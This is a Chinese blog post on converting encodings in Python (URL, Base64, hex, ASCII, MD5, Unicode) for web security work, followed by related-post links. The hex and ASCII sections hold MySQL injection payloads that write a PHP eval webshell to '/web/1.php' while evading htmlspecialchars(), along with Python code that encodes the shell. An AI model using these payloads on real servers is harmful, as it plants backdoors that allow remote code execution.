Python——编码转换
url编码
url编码是一种浏览器用来打包表单输入的格式.
>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'
Base64
Base64常常用作网页表单和HTTP传输的一些参数,也常用于邮件协议传输用户信息等。
>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'
python的话会像上边解密base32,只需要将函数改变下:
>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'
Hex
十六进制编码也是web application中常见的一种编码方案。MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。
比如:
[SQL]
select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'
下面是python实现hex加解密的方法:
>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'
>>>
>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')
<?php @eval($_POST[a]); ?>
Ascii
MySQL中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。
比如:
select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'
使用python将字符串转换ascii很简单,但是逆转换的话需要需要点小操作:
>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]>>> print chr(112)
p>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print ''.join(map(chr,l)) #这里采用pcat表哥指出的方法
<?php phpinfo() ?>
Md5
md5在web安全界可以说是人尽皆知了,以他的不可逆性,大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密,这个时候用下面的方法就可以轻松实现。当然解密的话推荐去cmd5。
>>> from hashlib import md5
>>> m = md5()
>>> m.update('this is a secret')
>>> m.hexdigest()
'7dbbcee180ba4d456e4aa1cfbdad9c7b'>>> m.hexdigest()[8:-8]
'80ba4d456e4aa1cf'
>>>
Unicode转中文
unicode转换中文,很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题,在python下实现非常简单。
>>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
你需要重新登陆
Python——编码转换相关推荐
- python编码转换语句_好程序员Python教程之字符串编码知识小结
好程序员Python教程之字符串编码知识小结,提及Python字符串,你会想到什么?是ASCII,还是Unicode?他们之间是如何转换的?字符串编码和字符串有什么区别?接下来好程序员Python教程 ...
- python编码规范总结、python编码转换
python编码规范总结.python编码转换 所有的 Python 脚本文件都应在文件头标上 #-*- coding:utf8 -*- .设置编辑器,默认保存为 utf8 格式. 编码 Python ...
- python编码转换在线_Python 编码转换与中文处理
Python 编码转换与中文处理 python 中的 unicode是让人很困惑.比较难以理解的问题. utf-8是unicode的一种实现方式,unicode.gbk.gb2312是编码字符集. d ...
- Python 编码转换与中文处理
Python 编码转换与中文处理 python 中的 unicode是让人很困惑.比较难以理解的问题. utf-8是unicode的一种实现方式,unicode.gbk.gb2312是编码字符集. d ...
- python 编码转换 专题
主要介绍了python的编码机制,unicode, utf-8, utf-16, GBK, GB2312,ISO-8859-1 等编码之间的转换. 常见的编码转换分为以下几种情况: 自动识别 字符串编 ...
- python编码转换在线_Python字符编码转换Unicode和str
## str 我们平时写的用引号括起来的字符串都是str类型的. >>> x = '哈哈' >>> x '\xb9\xfe\xb9\xfe' ### 根据上面的打印 ...
- PYTHON编码转换小记
# -*- coding: gb2312 -*-# 16进制字符串->10进制数值,8进制字符串->10进制数值,2进制字符串->10进制数值 print "16进制字符串 ...
- python 编码转换
一.了解字符编码的知识储备 1. 文本编辑器存取文件的原理(nodepad++,pycharm,word) 打开编辑器就打开了启动了一个进程,是在内存中的,所以在编辑器编写的内容也都是存放与内存中的, ...
- python编码转换中文_python3如何中文转换编码?
相信平时各位小伙伴都是习惯用中文的人,就算英文水平不错,毕竟还是中文用起来更顺手一点.不过在计算机编程中,还是以英文为主,会给我们的实际操作带来一些困扰.有时候中文也不能被计算机语言所识别,就会导致报 ...
最新文章
- 2009-2019年全国大学生智能汽车竞赛获奖数据分析
- python可以用break作为变量名_Python初体验(一)—【配置环境变量】【变量】【input】【条件语句】【循环语句】...
- Binary Search O(log n) algorithm to find duplicate in sequential list?
- WQL Analyzer V1.1(WMI查询分析器)
- Android开发 - 掌握ConstraintLayout(一)传统布局的问题
- Asp.netMVC中Html.Partial,RenderPartial,Action,RenderAction区别和用法
- C/C++ 指针小结——指针的概念和如何使用指针
- 组件源码——拖动条Slider
- UWB超宽带定位技术
- wps页码从指定页开始_wps怎么自动生成页码以及设置页码从第三页开始
- 苹果手机录屏软件_一款“短小精悍的”手机录屏软件
- html旋转3d魔方制作方法,JavaScript实现的3D旋转魔方动画效果实例代码
- 坚果pro3刷miui_锤子科技坚果Pro 3(12GB/256GB/全网通)手机卡怎么办?
- 这几个棘手的面试常见问题,如何高情商的回答?
- Box plot (箱形图) 中 quartile (四分位数)原理,及python_matplotlib中Q1和Q3定义的不同
- 简单记录双系统安装Ububtu22.04
- 【数据分析与挖掘】基于Apriori算法的中医证型的关联规则挖掘(有数据集和代码)
- Java计算百分比方法
- 为什么word打字换行的时候突然上一行文字间距变大了?如图
- 租用游戏服务器的优势
热门文章
- php怎么会占用磁盘,window_win10占用硬盘高怎么办?win10磁盘占用率达100%解决方法, win10占用硬盘高怎么办呢? - phpStudy...
- 小米手机通过电脑上网
- 安卓手机如何下载ZOOM?
- 几十款收费软件现在免费了
- weblogic12C如何解决AdminServer.lok问题
- javascript和java哪个快_Javascript与Java相比有多快?
- diary with u
- 对信号加频偏的数学处理
- lookup无序查找_使用LOOKUP函数实现无序查询
- ASP.Net Core 2.2 MVC入门到基本使用系列 (四)(转)